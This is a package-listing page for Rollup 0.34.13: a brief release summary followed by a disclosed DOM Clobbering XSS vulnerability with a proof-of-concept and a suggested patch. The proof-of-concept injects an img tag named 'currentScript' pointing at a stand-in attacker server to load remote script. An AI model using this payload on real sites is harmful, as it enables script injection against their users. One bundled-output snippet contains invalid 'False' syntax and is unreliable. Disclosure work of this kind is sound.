Rollup, a next-generation ES6 module bundler, saw a minor version update from 0.34.12 to 0.34.13 on September 1st, 2016. Both versions share identical core functionality and dependency structures, relying on source-map-support for enhanced debugging. The development dependencies, crucial for building and testing the library itself, remain consistent as well. These include tools like Acorn for parsing, Buble for ES6 transpilation, and Mocha for testing. Key utilities like magic-string for source code manipulation, estree-walker for AST traversal, and sourcemap-codec for efficient source map encoding are also unchanged, indicating no fundamental shifts in Rollup's internal workings between these releases.
The update, though, reflects a slight refinement in the build or release process. The releaseDate stamps differ, showing that version 0.34.13 was published approximately ten hours after 0.34.12. Developers won't find notable changes in API or feature set. If you are using Rollup at version 0.34.12 upgrading to 0.34.13 isn't mandatory unless there was a bug present in your specific scenario that was solved; from the data provided it's impossible to tell. This minor increment likely addresses small bug fixes or documentation tweaks, making it a worthwhile, yet non-essential, update for most users already leveraging Rollup for their module bundling needs. Both versions are licensed under MIT, backed by Rich Harris, and maintained in the same GitHub repository.
All the vulnerabilities related to the version 0.34.13 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;